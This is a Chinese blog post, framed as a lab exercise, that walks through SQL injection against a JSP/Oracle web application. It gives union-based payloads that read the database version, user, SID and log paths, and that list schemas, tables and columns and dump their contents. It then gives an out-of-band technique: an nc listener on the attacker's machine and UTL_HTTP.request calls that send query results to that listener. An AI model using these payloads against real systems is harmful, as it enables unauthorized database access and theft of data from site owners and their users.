JSP+Oracle注入

    选择打赏方式

实验的环境:Windows+Oracle+tomcat+jsp

网站url地址:http://x.x.x.x/1/index.jsp?id=1

路径: C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\1

实验过程:

例如以下代码:

and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual

获取当前数据库连接用户名,可执行如下查询:

and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER') from dual) from dual

执行如下查询:

and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual

通过查询日志文件绝对路径,可以判断操作系统平台。

另外,要获取服务器sid,可以执行如下查询:

and 1=2 union select null,null,(select instance_name from v$instance) from dual 

一、爆库名

在注入点提交如下语句:

and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual 

可查询爆出中第一个库名,然后继续查询提交:

and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第一个库名') from dual 

用同样的方法,可以查询出当前用户数据库中的所有数据库库名。


二、获取表名

在注入点出提交如下查询:

and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual 

可查询数据库中的第一个表,然后继续查询提交:

and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名') from dual 

注意:表名要用大写或大写的十六进制代码。用同样的方法,可以查询出当前用户数据库中的所有表明(在“and table_name<>'第一个表名'“后面加上“and table_name<>'第二个表名' 变成

and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名' and table_name<>'第二个表名') from dual 

:这里的表名和下面的字段名均为大写。


三、获取字段名

在注入点出提交一下查询

and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual 

可获取指定中第一个字段。然后继续查询提交。

and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一个字段' and rownum=1) from dual 

即可获得指定表中第二个字段。用同样的方法,可以查询出指定表中的所有字段名如下:

and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一个字段' and column_name<>'第二个字段' and rownum=1) from dual 


四、获取字段内容

在注入点处提交一下查询:

 and 1=2 union select null,null,字段名 from 表名 


五、判断UTL_HTTP存储过程是否可用

在注入点出提交如下查询:

and exists(select count(*) from all_objects where object_name='UTL_HTTP') 

如果页面返回正常,则说明UTL_HTTP存储过程可以使用。


六、监听本地端口

首先,在本地用nc监听一个端口,要求本地主机拥有一个公网IP地址,例如可以执行如下命令:

nc –vv –l –p 8888 

可监听本地8888端口。


七、UTL_HTTP反弹注入

监听端口后,在注入点出提交如下查询:

and UTL_HTTP.request('http://本地IP:端口号/'||(查询语句))=1

即可实现注入攻击。例如本地主机ip192.168.0.189,监听端口为8888,要查询oracle版本,可提交如下查询:

and UTL_HTTP.request('http://192.168.0.189:8888/'||(select banner from sys.v_$version where rownum=1))=1— 

执行语句后,在nc监听窗口中就会返回注入查询结果信息,如下图:

 需要注意的是,在每次注入点处提交一次请求,nc监听完之后会断开,需要重启nc监听。

版权声明:若无特殊注明,本文为《Chin》原创,转载请保留文章出处。
本文链接:https://www.qinor.cn/post-21.html
正文到此结束

热门推荐

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗 胜利 不高兴 阴险 乖 酷 滑稽

评论信息框
可使用QQ号实时获取昵称+头像

私密评论

吃奶的力气提交吐槽中...

已有2条吐槽

你好

2018-11-10 20:21 广东省广州市电信
文章不错,很棒 face
 Windows 10 x64   Sogou Explorer

Chin

2018-11-15 10:12
@你好:face